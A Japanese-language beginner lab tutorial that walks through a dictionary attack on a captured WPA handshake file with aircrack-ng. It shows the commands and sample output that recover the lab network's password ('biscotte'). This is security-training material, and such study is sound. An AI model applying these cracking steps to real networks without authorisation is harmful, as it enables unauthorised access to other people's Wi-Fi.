aircrack-ng を使用した WPA ハンドシェイクに対する辞書攻撃の実行

Beginner
オンラインで実践に進む

はじめに

この実験では、WPA/WPA2 ハンドシェイクに対する辞書攻撃を実行する方法を学びます。デバイスが WPA/WPA2 で保護された Wi-Fi ネットワークに接続すると、デバイスを認証するために 4 ウェイハンドシェイクが発生します。このハンドシェイクをキャプチャすることで、ネットワークのパスワードをオフラインでクラックしようとすることが可能です。

辞書攻撃とは、パスワードで保護されたシステムに侵入する方法で、リスト(辞書または単語リストと呼ばれる)内のすべての単語を体系的にパスワードとして入力します。この攻撃を実行するために、Wi-Fi セキュリティ監査のための強力なツールである aircrack-ng を使用します。実際のシナリオをシミュレートするために、キャプチャされたハンドシェイクファイル(.cap)と単語リストが提供されます。

この実験の終わりまでに、キャプチャされたハンドシェイクファイルから Wi-Fi パスワードを見つけるために aircrack-ng を使用できるようになります。

キャプチャされたハンドシェイク .cap ファイルの特定

このステップでは、事前にキャプチャされた WPA ハンドシェイクファイルを見つけます。この実験では、wpa_handshake.cap という名前のサンプルキャプチャファイルが ~/project ディレクトリに配置されています。このファイルには、攻撃に必要な不可欠な 4 ウェイハンドシェイクを含むネットワークトラフィックが含まれています。

まず、現在のディレクトリ内のファイルを一覧表示して、キャプチャファイルが存在することを確認しましょう。ls -l コマンドを使用します。

ls -l

出力には、他のファイルとともに wpa_handshake.cap ファイルが表示されるはずです。

total 8
-rw-r--r-- 1 labex labex 11 Mar 25 10:00 rockyou.txt
-rw-r--r-- 1 labex labex 985 Mar 25 10:00 wpa_handshake.cap

これでキャプチャファイルの存在を確認できたので、次のステップに進むことができます。

rockyou.txt のような単語リストファイルの検索

このステップでは、単語リストファイルを見つけて検査します。辞書または単語リストは、潜在的なパスワードのリストを 1 行に 1 つずつ含む単純なテキストファイルです。aircrack-ng はこのリストを使用して、キャプチャされたハンドシェイクに対して各パスワードをテストします。

rockyou.txt という名前の小さな単語リストが、~/project ディレクトリに作成されています。cat コマンドを使用して、その内容を表示しましょう。

cat rockyou.txt

出力には、ファイルに含まれる潜在的なパスワードが表示されます。

password
12345678
biscotte
qwerty

実際のシナリオでは、単語リストは巨大になり、数百万または数十億のパスワードを含むことがあります。この実験では、私たちの小さなリストに正しいパスワードが含まれているため、攻撃はすぐに成功します。

.cap ファイルを使用した aircrack-ng コマンドの構築

このステップでは、aircrack-ng を使用してキャプチャファイルを検査します。攻撃を開始する前に、.cap ファイルに有効な WPA ハンドシェイクが含まれているかを確認することは良い習慣です。aircrack-ng はこれを実行できます。

aircrack-ng を実行し、キャプチャファイル wpa_handshake.cap を引数として指定します。

aircrack-ng wpa_handshake.cap

aircrack-ng はファイルを分析し、検出されたネットワークに関する情報を表示します。

Opening wpa_handshake.cap
Read 13 packets.

   ##  BSSID              ESSID                     Encryption

   1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)

Choosing first network as target.
Opening wpa_handshake.cap
Please specify a dictionary (option -w).

WPA (1 handshake) という行に注意してください。これは、「teddy」ネットワークの完全な WPA ハンドシェイクが正常にキャプチャされ、ファイルに存在することを確認します。これは、辞書攻撃に進むために必要な確認です。また、ツールは辞書を指定するように促しますが、これは次のステップで行います。

-w パラメータを使用した単語リストの指定

このステップでは、-w パラメータを使用して攻撃用の単語リストを指定する方法を学びます。このパラメータは、aircrack-ng に潜在的なパスワードの辞書として使用するファイルを指示します。

完全なコマンド構文は aircrack-ng <capture_file> -w <wordlist_file> です。

仕組みを理解するために、まず存在しない単語リストでコマンドを実行してみましょう。これにより、aircrack-ng がエラーをどのように処理するかを確認できます。nonexistent.txt を単語リストとして使用してコマンドを実行してみてください。

aircrack-ng wpa_handshake.cap -w nonexistent.txt

ファイルが見つからないため、エラーメッセージが表示されます。

Opening wpa_handshake.cap
Read 13 packets.

   ##  BSSID              ESSID                     Encryption

   1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)

Choosing first network as target.
Opening wpa_handshake.cap
The file 'nonexistent.txt' doesn't exist.
Please specify a dictionary (option -w).

これにより、aircrack-ng-w パラメータに有効で存在するファイルを必要とすることが確認されます。次のステップでは、正しい単語リストファイルを使用して攻撃を実行します。

攻撃の実行と「KEY FOUND」出力の分析

このステップでは、正しい単語リストを使用して完全な辞書攻撃を実行し、出力を分析してキーを見つけます。キャプチャファイルと単語リストを指定する方法がわかったので、攻撃を開始できます。

aircrack-ng コマンドを実行し、キャプチャファイルとして wpa_handshake.cap を、単語リストとして rockyou.txt を指定します。

aircrack-ng wpa_handshake.cap -w rockyou.txt

aircrack-ng が開始されます。ハンドシェイクに対して rockyou.txt からの各パスワードをテストします。単語リストは小さく、正しいパスワードが含まれているため、プロセスは非常に高速です。

Opening wpa_handshake.cap
Read 13 packets.

   ##  BSSID              ESSID                     Encryption

   1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)

Choosing first network as target.
Opening wpa_handshake.cap
[00:00:00] 3 keys tested (23.08 k/s)


                                     KEY FOUND! [ biscotte ]


      Master Key     : ED A5 79 22 E5 5F 56 64 74 CB 89 98 44 6A 18 25
                       E0 E3 44 86 8A F3 89 84 55 4A D3 94 03 19 28 79

      Transient Key  : 6A 84 A9 58 52 2E 61 30 62 50 2B 88 46 1B 2A 8A
                       ...

      EAPOL HMAC     : 4E 1A E7 74 52 86 C5 29 A3 43 54 B2 1B 2D 34 18

出力の中で最も重要な行は KEY FOUND! [ biscotte ] です。これは、攻撃が成功したことを示しています。aircrack-ng は単語リストからパスワードをテストし、「teddy」ネットワークの正しいパスワードが biscotte であることを見つけました。

まとめ

この実験では、aircrack-ng を使用して WPA ハンドシェイクに対する辞書攻撃を正常に実行しました。

以下の方法を学びました。

  • キャプチャファイル(.cap)と単語リストを見つけて特定する方法。
  • aircrack-ng を使用してキャプチャファイルを検査し、WPA ハンドシェイクの存在を確認する方法。
  • 攻撃用の単語リストを指定するために -w パラメータを使用する方法。
  • 辞書攻撃を実行し、結果を解釈してネットワークキーを見つける方法。

この演習は、Wi-Fi セキュリティ監査における基本的な技術を示しており、辞書攻撃で容易に推測されない、強力で複雑なパスワードを使用することの重要性を強調しています。